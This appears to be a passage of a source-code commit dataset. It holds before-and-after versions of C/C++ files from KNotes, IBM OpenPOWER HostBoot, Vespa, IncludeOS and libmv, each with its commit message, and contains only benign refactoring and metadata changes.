2;\n\n _label_p->setGeometry(0, 0, w, label_h);\n _upButton_p->setGeometry(mid_w - bt_sz, label_h +2, bt_sz, bt_sz);\n _dnButton_p->setGeometry(mid_w, label_h +2, bt_sz, bt_sz);\n setFixedSize(w, label_h + bt_sz +2);\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nsetText(void) {\n QString str;\n switch (_format) {\n case RightJustified:\n str.sprintf(\"%*d\", _length, _value);\n break;\n case Centered:\n str.sprintf(\"%d\", _value);\n break;\n case ZeroFilled:\n str.sprintf(\"%0*d\", _length, _value);\n break;\n }\n _label_p->setText(str);\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nvalue(int the_value) {\n if (the_value < _min)\n _value = _min;\n else if (the_value > _max)\n _value = _max;\n else\n _value = the_value; \n\n setText();\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nupPressed() {\n incValue();\n if (_up_timer_p == NULL) {\n _up_timer_p= new QTimer(this);\n connect(_up_timer_p, SIGNAL(timeout()), this, SLOT(upRepeat()));\n }\n if (_value == _max)\n _up_timer_p->stop();\n else\n _up_timer_p->changeInterval((int)(0.25 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nupReleased() {\n _up_timer_p->stop();\n}\n\n\/\/*****************************************************************************\n \nvoid QtedSetInt::\nupRepeat() {\n incValue(); \n if (_value == _max)\n _up_timer_p->stop();\n else\n _up_timer_p->changeInterval((int)(0.033 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndnPressed() {\n decValue(); \n if (_dn_timer_p == NULL) {\n _dn_timer_p= new QTimer(this);\n connect(_dn_timer_p, SIGNAL(timeout()), this, SLOT(dnRepeat()));\n }\n if (_value == _min)\n _dn_timer_p->stop();\n else\n _dn_timer_p->changeInterval((int)(0.25 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndnReleased() {\n _dn_timer_p->stop();\n}\n\n\/\/*****************************************************************************\n \nvoid QtedSetInt::\ndnRepeat() {\n decValue(); \n if (_value == _min)\n _dn_timer_p->stop(); \n else\n _dn_timer_p->changeInterval((int)(0.033 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nincValue(void) {\n if (_value < _max) {\n _value++;\n setText();\n }\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndecValue(void) {\n if (_value > _min) {\n _value--;\n setText();\n }\n}\n\n\/\/*****************************************************************************\n\n#include \"spin.moc\"\n<commit_msg>Bernd: colorscheme related changes<commit_after>\/*\n\n $Id$\n\n KNotes - Notes for the KDE Project\n Copyright (C) 1997 Bernd Johannes Wuebben\n \n wuebben@math.cornell.edu\n wuebben@kde.org\n\n This class is a modified version of a class found in:\n\n qtremind - an X windows appoint reminder program.\n Copyright (C) 1997 Tom Daley\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n\n*\/\n\n\n#include <qbitmap.h>\n#include <qtimer.h>\n#include <spin.h>\n\n#include \"up.xbm\"\n#include \"down.xbm\"\n\n\nQtedSetInt::QtedSetInt(int min, int max, int start_value, int format, \n QWidget *parent, const char *name) : \n QWidget(parent, name), _min(min), _max(max),\n _format(format), _up_timer_p(NULL), _dn_timer_p(NULL) {\n if (_max <_min)\t\t\/\/ make sure numbers make sense\n _max = _min;\n \n QString str;\n str.sprintf(\"%d\", _min);\t\/\/ find the max number string length \n _length = str.length();\n str.sprintf(\"%d\", _max);\n if ((int)str.length() > _length)\n _length = str.length();\n\n _upButton_p = new QPushButton(this);\n QBitmap up_bm(up_arrow_width, up_arrow_height, up_arrow_bits, TRUE);\n _upButton_p->setPixmap(up_bm);\n _upButton_p->setAutoResize(TRUE);\n\n _dnButton_p = new QPushButton(this);\n QBitmap dn_bm(dn_arrow_width, dn_arrow_height, dn_arrow_bits, TRUE);\n _dnButton_p->setPixmap(dn_bm);\n _dnButton_p->setAutoResize(TRUE);\n\n _label_p = new QLabel(\"Foo\", this);\n _label_p->setAlignment(AlignCenter);\n _label_p->setLineWidth(2);\n _label_p->setFrameStyle(QFrame::Panel | QFrame::Sunken);\n\/\/ _label_p->setBackgroundColor(white);\n\n value(start_value);\n setSize();\n connect(_upButton_p, SIGNAL(pressed()), this, SLOT(upPressed()));\n connect(_upButton_p, SIGNAL(released()), this, SLOT(upReleased()));\n connect(_dnButton_p, SIGNAL(pressed()), this, SLOT(dnPressed()));\n connect(_dnButton_p, SIGNAL(released()), this, SLOT(dnReleased()));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nsetSize(void) {\n int num_wid;\/\/ mid_wid;\n int bt_sz = 13;\n int w, mid_w, label_h;\n label_h = fontMetrics().lineSpacing () + 2 * _label_p->frameWidth();\n\n num_wid = fontMetrics().maxWidth() * _length;\n num_wid += 2 * _label_p->frameWidth(); \n\n if (num_wid > bt_sz * 2)\n w = num_wid;\n else \n w = bt_sz * 2;\n mid_w = w \/ 2;\n\n _label_p->setGeometry(0, 0, w, label_h);\n _upButton_p->setGeometry(mid_w - bt_sz, label_h +2, bt_sz, bt_sz);\n _dnButton_p->setGeometry(mid_w, label_h +2, bt_sz, bt_sz);\n setFixedSize(w, label_h + bt_sz +2);\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nsetText(void) {\n QString str;\n switch (_format) {\n case RightJustified:\n str.sprintf(\"%*d\", _length, _value);\n break;\n case Centered:\n str.sprintf(\"%d\", _value);\n break;\n case ZeroFilled:\n str.sprintf(\"%0*d\", _length, _value);\n break;\n }\n _label_p->setText(str);\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nvalue(int the_value) {\n if (the_value < _min)\n _value = _min;\n else if (the_value > _max)\n _value = _max;\n else\n _value = the_value; \n\n setText();\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nupPressed() {\n incValue();\n if (_up_timer_p == NULL) {\n _up_timer_p= new QTimer(this);\n connect(_up_timer_p, SIGNAL(timeout()), this, SLOT(upRepeat()));\n }\n if (_value == _max)\n _up_timer_p->stop();\n else\n _up_timer_p->changeInterval((int)(0.25 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nupReleased() {\n _up_timer_p->stop();\n}\n\n\/\/*****************************************************************************\n \nvoid QtedSetInt::\nupRepeat() {\n incValue(); \n if (_value == _max)\n _up_timer_p->stop();\n else\n _up_timer_p->changeInterval((int)(0.033 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndnPressed() {\n decValue(); \n if (_dn_timer_p == NULL) {\n _dn_timer_p= new QTimer(this);\n connect(_dn_timer_p, SIGNAL(timeout()), this, SLOT(dnRepeat()));\n }\n if (_value == _min)\n _dn_timer_p->stop();\n else\n _dn_timer_p->changeInterval((int)(0.25 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndnReleased() {\n _dn_timer_p->stop();\n}\n\n\/\/*****************************************************************************\n \nvoid QtedSetInt::\ndnRepeat() {\n decValue(); \n if (_value == _min)\n _dn_timer_p->stop(); \n else\n _dn_timer_p->changeInterval((int)(0.033 * 1000));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nincValue(void) {\n if (_value < _max) {\n _value++;\n setText();\n }\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\ndecValue(void) {\n if (_value > _min) {\n _value--;\n setText();\n }\n}\n\n\/\/*****************************************************************************\n\n#include \"spin.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p10\/procedures\/hwp\/nest\/p10_htm_adu_ctrl.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ @file p10_htm_adu_ctrl.C\n\/\/\/\n\/\/\/ @brief Provides ADU control functions that help with HTM collection actions.\n\/\/\/\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ *HWP HWP Owner : Nicholas Landi <nlandi@ibm.com>\n\/\/\/ *HWP FW Owner : Ilya Smirnov <ismirno@us.ibm.com>\n\/\/\/ *HWP Consumed by : HB\n\/\/\/----------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p10_htm_adu_ctrl.H>\n#include <fapi2_mem_access.H>\n#include <p10_putmemproc.H>\n#include <fapi2_subroutine_executor.H>\n\n\/\/\/\n\/\/\/ See doxygen in p10_htm_adu_ctrl.H\n\/\/\/\nfapi2::ReturnCode aduNHTMControl(\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target,\n const uint64_t i_addr)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n uint32_t l_mem_flags = fapi2::SBE_MEM_ACCESS_FLAGS_SWITCH_MODE\n | fapi2::SBE_MEM_ACCESS_FLAGS_TARGET_PROC;\n uint32_t l_bytes = 2; \/\/ Want a TSIZE of 2 for these htm ctrl commands\n uint8_t l_data[2] = {0, 0}; \/\/ give a pointer to real data to prevent any undefined behavior\n\n FAPI_DBG(\"Debug data: Target: mem_flags: 0x%08llx, addr: 0x%016llx\", l_mem_flags, i_addr);\n\n FAPI_DBG(\"Attempting to put pMisc command\");\n FAPI_CALL_SUBROUTINE(l_rc,\n p10_putmemproc,\n i_target,\n i_addr,\n l_bytes,\n l_data,\n l_mem_flags);\n\n\nfapi_try_exit:\n FAPI_DBG(\"Exiting\");\n return l_rc;\n}\n<commit_msg>Update to change invokation of putmemproc for HTM<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p10\/procedures\/hwp\/nest\/p10_htm_adu_ctrl.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/ @file p10_htm_adu_ctrl.C\n\/\/\/\n\/\/\/ @brief Provides ADU control functions that help with HTM collection actions.\n\/\/\/\n\/\/\/----------------------------------------------------------------------------\n\/\/\/ *HWP HWP Owner : Nicholas Landi <nlandi@ibm.com>\n\/\/\/ *HWP FW Owner : Ilya Smirnov <ismirno@us.ibm.com>\n\/\/\/ *HWP Consumed by : HB\n\/\/\/----------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p10_htm_adu_ctrl.H>\n#include <fapi2_mem_access.H>\n#include <p10_putmemproc.H>\n\n\/\/\/\n\/\/\/ See doxygen in p10_htm_adu_ctrl.H\n\/\/\/\nfapi2::ReturnCode aduNHTMControl(\n const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target,\n const uint64_t i_addr)\n{\n FAPI_DBG(\"Entering\");\n fapi2::ReturnCode l_rc;\n uint32_t l_mem_flags = fapi2::SBE_MEM_ACCESS_FLAGS_SWITCH_MODE\n | fapi2::SBE_MEM_ACCESS_FLAGS_TARGET_PROC;\n uint32_t l_bytes = 2; \/\/ Want a TSIZE of 2 for these htm ctrl commands\n uint8_t l_data[2] = {0, 0}; \/\/ give a pointer to real data to prevent any undefined behavior\n\n FAPI_DBG(\"Debug data: Target: mem_flags: 0x%08llx, addr: 0x%016llx\", l_mem_flags, i_addr);\n\n FAPI_DBG(\"Attempting to put pMisc command\");\n FAPI_EXEC_HWP(l_rc,\n p10_putmemproc,\n i_target,\n i_addr,\n l_bytes,\n l_data,\n l_mem_flags);\n\n\n FAPI_DBG(\"Exiting\");\n return l_rc;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/perv\/p9_mem_skewadjust.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/------------------------------------------------------------------------------\n\/\/\/ @file p9_mem_skewadjust.C\n\/\/\/\n\/\/\/ @brief update clock mesh deskew\n\/\/------------------------------------------------------------------------------\n\/\/ *HWP HW Owner : Anusha Reddy Rangareddygari <anusrang@in.ibm.com>\n\/\/ *HWP HW Backup Owner : Srinivas V Naga <srinivan@in.ibm.com>\n\/\/ *HWP FW Owner : Sunil Kumar <skumar8j@in.ibm.com>\n\/\/ *HWP Team : Perv\n\/\/ *HWP Level : 1\n\/\/ *HWP Consumed by : HB\n\/\/------------------------------------------------------------------------------\n\n\n\/\/## auto_generated\n#include \"p9_mem_skewadjust.H\"\n\n\n\nfapi2::ReturnCode p9_mem_skewadjust(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target_chiplet)\n{\n FAPI_DBG(\"Entering ...\");\n\n FAPI_DBG(\"Exiting ...\");\n\n return fapi2::FAPI2_RC_SUCCESS;\n\n}\n<commit_msg>Update hardware procedure metadata<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/perv\/p9_mem_skewadjust.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/------------------------------------------------------------------------------\n\/\/\/ @file p9_mem_skewadjust.C\n\/\/\/\n\/\/\/ @brief update clock mesh deskew\n\/\/------------------------------------------------------------------------------\n\/\/ *HWP HW Owner : Anusha Reddy Rangareddygari <anusrang@in.ibm.com>\n\/\/ *HWP HW Backup Owner : Srinivas V Naga <srinivan@in.ibm.com>\n\/\/ *HWP FW Owner : Sunil Kumar <skumar8j@in.ibm.com>\n\/\/ *HWP Team : Perv\n\/\/ *HWP Level : 3\n\/\/ *HWP Consumed by : HB\n\/\/------------------------------------------------------------------------------\n\n\n\/\/## auto_generated\n#include \"p9_mem_skewadjust.H\"\n\n\n\nfapi2::ReturnCode p9_mem_skewadjust(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target_chiplet)\n{\n FAPI_DBG(\"Entering ...\");\n\n FAPI_DBG(\"Exiting ...\");\n\n return fapi2::FAPI2_RC_SUCCESS;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"document_runnable.h\"\n#include <vespa\/vespalib\/util\/exceptions.h>\n\nnamespace document {\n\nRunnable::Runnable()\n : _stateLock(),\n _state(NOT_RUNNING)\n{\n \/\/ if (pool) start(*pool);\n}\n\nRunnable::~Runnable() {\n vespalib::MonitorGuard monitorGuard(_stateLock);\n assert(_state == NOT_RUNNING);\n}\n\nbool Runnable::start(FastOS_ThreadPool& pool)\n{\n vespalib::MonitorGuard monitor(_stateLock);\n while (_state == STOPPING) monitor.wait();\n if (_state != NOT_RUNNING) return false;\n _state = STARTING;\n if (pool.NewThread(this) == nullptr) {\n throw vespalib::IllegalStateException(\"Faled starting a new thread\", VESPA_STRLOC);\n }\n return true;\n}\n\nbool Runnable::stop()\n{\n vespalib::MonitorGuard monitor(_stateLock);\n if (_state == STOPPING || _state == NOT_RUNNING) return false;\n GetThread()->SetBreakFlag();\n _state = STOPPING;\n return onStop();\n}\n\nbool Runnable::onStop()\n{\n return true;\n}\n\nbool Runnable::join() const\n{\n vespalib::MonitorGuard monitor(_stateLock);\n assert ((_state != STARTING) && (_state != RUNNING));\n while (_state != NOT_RUNNING) monitor.wait();\n return true;\n}\n\nvoid Runnable::Run(FastOS_ThreadInterface*, void*)\n{\n {\n vespalib::MonitorGuard monitor(_stateLock);\n \/\/ Dont set state if its alreadyt at stopping. (And let run() be\n \/\/ called even though about to stop for consistency)\n if (_state == STARTING) {\n _state = RUNNING;\n }\n }\n\n \/\/ By not catching exceptions, they should abort whole application.\n \/\/ We should thus not need to have a catch all to set state to not\n \/\/ running.\n run();\n\n {\n vespalib::MonitorGuard monitor(_stateLock);\n _state = NOT_RUNNING;\n monitor.broadcast();\n }\n}\n\n}\n<commit_msg>Remove leftover code.<commit_after>\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include \"document_runnable.h\"\n#include <vespa\/vespalib\/util\/exceptions.h>\n\nnamespace document {\n\nRunnable::Runnable()\n : _stateLock(),\n _state(NOT_RUNNING)\n{\n}\n\nRunnable::~Runnable() {\n vespalib::MonitorGuard monitorGuard(_stateLock);\n assert(_state == NOT_RUNNING);\n}\n\nbool Runnable::start(FastOS_ThreadPool& pool)\n{\n vespalib::MonitorGuard monitor(_stateLock);\n while (_state == STOPPING) monitor.wait();\n if (_state != NOT_RUNNING) return false;\n _state = STARTING;\n if (pool.NewThread(this) == nullptr) {\n throw vespalib::IllegalStateException(\"Faled starting a new thread\", VESPA_STRLOC);\n }\n return true;\n}\n\nbool Runnable::stop()\n{\n vespalib::MonitorGuard monitor(_stateLock);\n if (_state == STOPPING || _state == NOT_RUNNING) return false;\n GetThread()->SetBreakFlag();\n _state = STOPPING;\n return onStop();\n}\n\nbool Runnable::onStop()\n{\n return true;\n}\n\nbool Runnable::join() const\n{\n vespalib::MonitorGuard monitor(_stateLock);\n assert ((_state != STARTING) && (_state != RUNNING));\n while (_state != NOT_RUNNING) monitor.wait();\n return true;\n}\n\nvoid Runnable::Run(FastOS_ThreadInterface*, void*)\n{\n {\n vespalib::MonitorGuard monitor(_stateLock);\n \/\/ Dont set state if its alreadyt at stopping. (And let run() be\n \/\/ called even though about to stop for consistency)\n if (_state == STARTING) {\n _state = RUNNING;\n }\n }\n\n \/\/ By not catching exceptions, they should abort whole application.\n \/\/ We should thus not need to have a catch all to set state to not\n \/\/ running.\n run();\n\n {\n vespalib::MonitorGuard monitor(_stateLock);\n _state = NOT_RUNNING;\n monitor.broadcast();\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2018 IncludeOS AS, Oslo, Norway\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef UTIL_ALLOC_PMR\n#define UTIL_ALLOC_PMR\n\n#if __has_include(<experimental\/memory_resource>)\n#include <experimental\/memory_resource>\n#include <experimental\/vector>\nnamespace std {\n namespace pmr = std::experimental::pmr;\n}\n#else\n#include <memory_resource>\n#include <vector> \/\/ For pmr::vector\n#endif\n\n\n#include <delegate>\n#include <malloc.h>\n\nnamespace os::mem::detail {\n class Pmr_pool;\n using Pool_ptr = std::shared_ptr<Pmr_pool>;\n}\n\nnamespace os::mem {\n\n class Pmr_resource;\n\n class Pmr_pool {\n public:\n static constexpr size_t default_max_resources = 64;\n using Resource = Pmr_resource;\n using Resource_ptr = std::unique_ptr<Pmr_resource, delegate<void(Resource*)>>;\n\n inline Pmr_pool(size_t capacity,\n size_t cap_suballoc = 0,\n size_t max_rescount = default_max_resources);\n inline Resource_ptr get_resource();\n inline void return_resource(Resource* res);\n inline std::size_t resource_capacity();\n inline std::size_t resource_count();\n inline std::size_t total_capacity();\n inline void set_resource_capacity(std::size_t);\n inline void set_total_capacity(std::size_t);\n inline std::size_t allocated();\n inline std::size_t allocatable();\n inline std::size_t alloc_count();\n inline std::size_t dealloc_count();\n inline bool full();\n inline bool empty();\n\n private:\n detail::Pool_ptr impl;\n };\n\n\n class Pmr_resource : public std::pmr::memory_resource {\n public:\n using Pool_ptr = detail::Pool_ptr;\n inline Pmr_resource(Pool_ptr p);\n inline Pool_ptr pool();\n inline void* do_allocate(std::size_t size, std::size_t align) override;\n inline void do_deallocate (void* ptr, size_t, size_t) override;\n inline bool do_is_equal(const std::pmr::memory_resource&) const noexcept override;\n inline std::size_t capacity();\n inline std::size_t allocatable();\n inline std::size_t allocated();\n inline std::size_t alloc_count();\n inline std::size_t dealloc_count();\n inline bool full();\n inline bool empty();\n private:\n Pool_ptr pool_;\n std::size_t used = 0;\n std::size_t allocs = 0;\n std::size_t deallocs = 0;\n };\n\n struct Default_pmr : public std::pmr::memory_resource {\n void* do_allocate(std::size_t size, std::size_t align) override {\n return memalign(align, size);\n }\n\n void do_deallocate (void* ptr, size_t, size_t) override {\n std::free(ptr);\n }\n\n bool do_is_equal (const std::pmr::memory_resource& other) const noexcept override {\n if (const auto* underlying = dynamic_cast<const Default_pmr*>(&other))\n return true;\n return false;\n }\n };\n\n}\n\n#include <util\/detail\/alloc_pmr.hpp>\n\n#endif\n<commit_msg>util: Make it possible to default construct pmr alloc<commit_after>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2018 IncludeOS AS, Oslo, Norway\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef UTIL_ALLOC_PMR\n#define UTIL_ALLOC_PMR\n\n#if __has_include(<experimental\/memory_resource>)\n#include <experimental\/memory_resource>\n#include <experimental\/vector>\nnamespace std {\n namespace pmr = std::experimental::pmr;\n}\n#else\n#include <memory_resource>\n#include <vector> \/\/ For pmr::vector\n#endif\n\n\n#include <delegate>\n#include <malloc.h>\n\nnamespace os::mem::detail {\n class Pmr_pool;\n using Pool_ptr = std::shared_ptr<Pmr_pool>;\n}\n\nnamespace os::mem {\n\n class Pmr_resource;\n\n class Pmr_pool {\n public:\n static constexpr size_t default_max_resources = 64;\n using Resource = Pmr_resource;\n using Resource_ptr = std::unique_ptr<Pmr_resource, delegate<void(Resource*)>>;\n\n inline Pmr_pool(size_t capacity,\n size_t cap_suballoc = 0,\n size_t max_rescount = default_max_resources);\n inline Pmr_pool() = default;\n inline Resource_ptr get_resource();\n inline void return_resource(Resource* res);\n inline std::size_t resource_capacity();\n inline std::size_t resource_count();\n inline std::size_t total_capacity();\n inline void set_resource_capacity(std::size_t);\n inline void set_total_capacity(std::size_t);\n inline std::size_t allocated();\n inline std::size_t allocatable();\n inline std::size_t alloc_count();\n inline std::size_t dealloc_count();\n inline bool full();\n inline bool empty();\n\n private:\n detail::Pool_ptr impl;\n };\n\n\n class Pmr_resource : public std::pmr::memory_resource {\n public:\n using Pool_ptr = detail::Pool_ptr;\n inline Pmr_resource(Pool_ptr p);\n inline Pool_ptr pool();\n inline void* do_allocate(std::size_t size, std::size_t align) override;\n inline void do_deallocate (void* ptr, size_t, size_t) override;\n inline bool do_is_equal(const std::pmr::memory_resource&) const noexcept override;\n inline std::size_t capacity();\n inline std::size_t allocatable();\n inline std::size_t allocated();\n inline std::size_t alloc_count();\n inline std::size_t dealloc_count();\n inline bool full();\n inline bool empty();\n private:\n Pool_ptr pool_;\n std::size_t used = 0;\n std::size_t allocs = 0;\n std::size_t deallocs = 0;\n };\n\n struct Default_pmr : public std::pmr::memory_resource {\n void* do_allocate(std::size_t size, std::size_t align) override {\n return memalign(align, size);\n }\n\n void do_deallocate (void* ptr, size_t, size_t) override {\n std::free(ptr);\n }\n\n bool do_is_equal (const std::pmr::memory_resource& other) const noexcept override {\n if (const auto* underlying = dynamic_cast<const Default_pmr*>(&other))\n return true;\n return false;\n }\n };\n\n}\n\n#include <util\/detail\/alloc_pmr.hpp>\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 libmv authors.\r\n\/\/\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/ of this software and associated documentation files (the \"Software\"), to\r\n\/\/ deal in the Software without restriction, including without limitation the\r\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\r\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\r\n\/\/ furnished to do so, subject to the following conditions:\r\n\/\/\r\n\/\/ The above copyright notice and this permission notice shall be included in\r\n\/\/ all copies or substantial portions of the Software.\r\n\/\/\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\r\n\/\/ IN THE SOFTWARE.\r\n\r\n#include \"libmv\/multiview\/reconstruction_image_order_selection.h\"\r\n#include \"libmv\/multiview\/robust_homography.h\"\r\n\r\nnamespace libmv {\r\n\r\nvoid SelectEfficientImageOrder(\r\n const Matches &matches, \r\n std::list<vector<Matches::ImageID> >*connected_graph_list) {\r\n typedef std::pair<Matches::ImageID, Matches::ImageID> ImagesTypePairs;\r\n typedef vector<ImagesTypePairs > ImagesPairs;\r\n double h, score, max_error_h = 1;\r\n Mat3 H; \r\n \r\n \/\/ TODO(julien) Find connected graph and do the rest of every graph\r\n {\r\n \/\/ Selects the two views that are not too closed but share common tracks\r\n size_t i = 0;\r\n double score_max_1 = 0;\r\n ImagesTypePairs image_pair_max_1;\r\n vector<Mat2X> xs(matches.NumImages());\r\n std::set<Matches::ImageID>::const_iterator image_iter1 =\r\n 